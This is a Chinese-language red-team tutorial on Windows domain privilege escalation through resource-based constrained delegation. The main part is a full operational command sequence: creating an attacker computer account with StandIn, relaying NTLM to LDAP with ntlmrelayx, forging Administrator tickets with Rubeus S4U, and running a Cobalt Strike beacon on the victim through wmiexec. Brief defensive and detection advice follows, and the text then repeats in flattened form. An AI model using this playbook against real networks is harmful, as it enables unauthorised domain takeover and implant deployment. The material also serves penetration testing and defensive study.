红队权限提升-基于RBCD的权限提升-第2部分
字数 1739 2025-08-24 10:10:13

基于RBCD的权限提升攻击技术详解

概述

本文详细介绍了在Windows域环境中利用基于资源的约束委派(RBCD)进行本地权限提升的技术。这种攻击方法特别适用于红队行动中提升员工工作站权限的场景。虽然已有相关技术文档,但许多操作员在实际利用时仍面临困难,特别是在纯Cobalt Strike环境下操作Kerberos协议的复杂性。本文将全面解析攻击原理、操作步骤和常见问题。

攻击原理

技术背景

  1. NTLM中继攻击:从非特权用户上下文诱导本地服务(以NT AUTHORITY\SYSTEM运行)使用主机计算机账户密码通过HTTP向攻击者服务进行NTLM认证
  2. 基于资源的约束委派(RBCD):攻击者将认证尝试中继到LDAP服务,配置RBCD以允许攻击者控制的用户/计算机账户模拟任何用户访问受害计算机

关键原语

  • 计算机账户HTTP NTLM认证:通过利用自定义Windows锁屏能力获得
  • Change-LockScreen工具:通过Cobalt Strike的beacon触发原语,无需RDP或控制台手动交互

先决条件

  1. 运行Windows Server 2012或更新版本的域控制器
  2. 攻击者能访问已设置SPN的用户/计算机账户,或能向域中添加新计算机
  3. 域控制器未配置强制LDAP签名和LDAP信道绑定(默认设置)
  4. 受害计算机安装并运行"Web客户端"服务(Windows 10默认安装)
  5. 用户被允许自定义Windows锁屏(默认权限)

攻击步骤详解

1. 环境准备

SOCKS代理配置

  • 在Cobalt Strike中启用SOCKS代理(如端口8889)
  • 团队服务器安装依赖:proxychains、Python 3、Impacket
  • 配置proxychains.conf使用SOCKS端口

检查域设置

execute-assembly /path/to/SharpView.exe Get-DomainObject -Domain CONTOSO.LOCAL

检查ms-ds-machineaccountquota属性值(默认允许用户添加最多10台计算机)

检查WebClient服务状态

sc query webclient

2. 创建攻击用计算机账户

execute-assembly /path/to/StandIn.exe --computer DESKTOP-JSMITH --make

若无法创建新计算机账户,可尝试:

  • Kerberoasting攻击获取有SPN的用户凭证
  • 在当前用户账户上设置SPN(需管理员修改默认权限)

3. LDAP中继攻击

sudo proxychains python3 examples/ntlmrelayx.py -t ldap://<DC_IP> --http-port 8080 --delegate-access --serve-image wallpaper.jpg --escalate-user 'DESKTOP-JSMITH$' --no-dump --no-da --no-acl

参数说明:

  • --http-port 8080:监听端口
  • --serve-image:锁屏图像路径
  • --escalate-user:允许指定账户执行RBCD

设置端口转发

rportfwd 80 127.0.0.1 8080

触发认证

execute-assembly /path/to/Change-Lockscreen.exe -FullPath \\localhost\pictures\wallpaper.jpg

4. 生成AES256密钥

execute-assembly /path/to/Rubeus.exe hash /password:<密码> /user:DESKTOP-JSMITH$ /domain:CONTOSO.LOCAL

5. S4U模拟攻击

execute-assembly /path/to/Rubeus.exe s4u /user:DESKTOP-JSMITH$/aes256:<AES密钥> /impersonateuser:Administrator /msdsspn:host/DESKTOP-KOERA35.CONTOSO.LOCAL /nowrap

6. 票据转换

  1. 将Rubeus输出的base64票据保存为.kirbi.base64文件
  2. 解码为.kirbi格式:
cat administrator.kirbi.base64 | base64 --decode > administrator.kirbi
  1. 转换为ccache格式:
python3 examples/ticketConverter.py administrator.kirbi administrator.ccache

7. 修改proxyresolv配置

修改/usr/lib/proxychains3/proxyresolv

  • 设置DNS_SERVER=<DC_IP>
  • 修改dig命令过滤输出:
dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}' | grep -v '<<>>'

8. 利用票据执行攻击

export KRB5CCNAME=administrator.ccache
proxychains python3 examples/wmiexec.py -k -no-pass contoso.local/Administrator@DESKTOP-KOERA35.CONTOSO.LOCAL 'C:\ProgramData\beacon.exe'

9. 清理

socks stop
rportfwd stop 80

常见错误及解决

  1. 指定IP而非SPN

    • 错误:使用IP地址(192.168.184.144)而非完整主机名
    • 正确:使用SPN中指定的完整主机名(DESKTOP-KOERA35.CONTOSO.LOCAL)
  2. 本地票据传递无效

    • 现象:从同一主机使用WMI执行beacon不会触发完整网络登录
    • 解决:必须通过SOCKS将Impacket代理到主机执行网络登录

防御措施

  1. 临时缓解

    • 禁用msDS-AllowedToActOnBehalfOfOtherIdentity字段的写访问
  2. 长期修复

    • 强制LDAP签名和LDAP通道绑定
  3. 检测措施

    • 监控对msDS-AllowedToActOnBehalfOfOtherIdentity的写入
    • 启用审核设置检测未使用LDAP签名/通道绑定的系统(事件ID 2889和3039)
  4. SACL配置

    • 检测对RBCD属性的修改,特别是工作站计算机账户

结论

RBCD结合适当的认证原语可实现本地特权提升和潜在远程代码执行。本文详细介绍了纯Cobalt Strike环境下的操作流程,解决了红队行动中的常见操作难题。防御者应关注LDAP中继攻击的通用防护和RBCD的特定检测措施。

基于RBCD的权限提升攻击技术详解 概述 本文详细介绍了在Windows域环境中利用基于资源的约束委派(RBCD)进行本地权限提升的技术。这种攻击方法特别适用于红队行动中提升员工工作站权限的场景。虽然已有相关技术文档,但许多操作员在实际利用时仍面临困难,特别是在纯Cobalt Strike环境下操作Kerberos协议的复杂性。本文将全面解析攻击原理、操作步骤和常见问题。 攻击原理 技术背景 NTLM中继攻击 :从非特权用户上下文诱导本地服务(以NT AUTHORITY\SYSTEM运行)使用主机计算机账户密码通过HTTP向攻击者服务进行NTLM认证 基于资源的约束委派(RBCD) :攻击者将认证尝试中继到LDAP服务,配置RBCD以允许攻击者控制的用户/计算机账户模拟任何用户访问受害计算机 关键原语 计算机账户HTTP NTLM认证 :通过利用自定义Windows锁屏能力获得 Change-LockScreen工具 :通过Cobalt Strike的beacon触发原语,无需RDP或控制台手动交互 先决条件 运行Windows Server 2012或更新版本的域控制器 攻击者能访问已设置SPN的用户/计算机账户,或能向域中添加新计算机 域控制器未配置强制LDAP签名和LDAP信道绑定(默认设置) 受害计算机安装并运行"Web客户端"服务(Windows 10默认安装) 用户被允许自定义Windows锁屏(默认权限) 攻击步骤详解 1. 环境准备 SOCKS代理配置 : 在Cobalt Strike中启用SOCKS代理(如端口8889) 团队服务器安装依赖:proxychains、Python 3、Impacket 配置proxychains.conf使用SOCKS端口 检查域设置 : 检查 ms-ds-machineaccountquota 属性值(默认允许用户添加最多10台计算机) 检查WebClient服务状态 : 2. 创建攻击用计算机账户 若无法创建新计算机账户,可尝试: Kerberoasting攻击获取有SPN的用户凭证 在当前用户账户上设置SPN(需管理员修改默认权限) 3. LDAP中继攻击 参数说明: --http-port 8080 :监听端口 --serve-image :锁屏图像路径 --escalate-user :允许指定账户执行RBCD 设置端口转发 : 触发认证 : 4. 生成AES256密钥 5. S4U模拟攻击 6. 票据转换 将Rubeus输出的base64票据保存为.kirbi.base64文件 解码为.kirbi格式: 转换为ccache格式: 7. 修改proxyresolv配置 修改 /usr/lib/proxychains3/proxyresolv : 设置 DNS_SERVER=<DC_IP> 修改dig命令过滤输出: 8. 利用票据执行攻击 9. 清理 常见错误及解决 指定IP而非SPN : 错误:使用IP地址(192.168.184.144)而非完整主机名 正确:使用SPN中指定的完整主机名(DESKTOP-KOERA35.CONTOSO.LOCAL) 本地票据传递无效 : 现象:从同一主机使用WMI执行beacon不会触发完整网络登录 解决:必须通过SOCKS将Impacket代理到主机执行网络登录 防御措施 临时缓解 : 禁用 msDS-AllowedToActOnBehalfOfOtherIdentity 字段的写访问 长期修复 : 强制LDAP签名和LDAP通道绑定 检测措施 : 监控对 msDS-AllowedToActOnBehalfOfOtherIdentity 的写入 启用审核设置检测未使用LDAP签名/通道绑定的系统(事件ID 2889和3039) SACL配置 : 检测对RBCD属性的修改,特别是工作站计算机账户 结论 RBCD结合适当的认证原语可实现本地特权提升和潜在远程代码执行。本文详细介绍了纯Cobalt Strike环境下的操作流程,解决了红队行动中的常见操作难题。防御者应关注LDAP中继攻击的通用防护和RBCD的特定检测措施。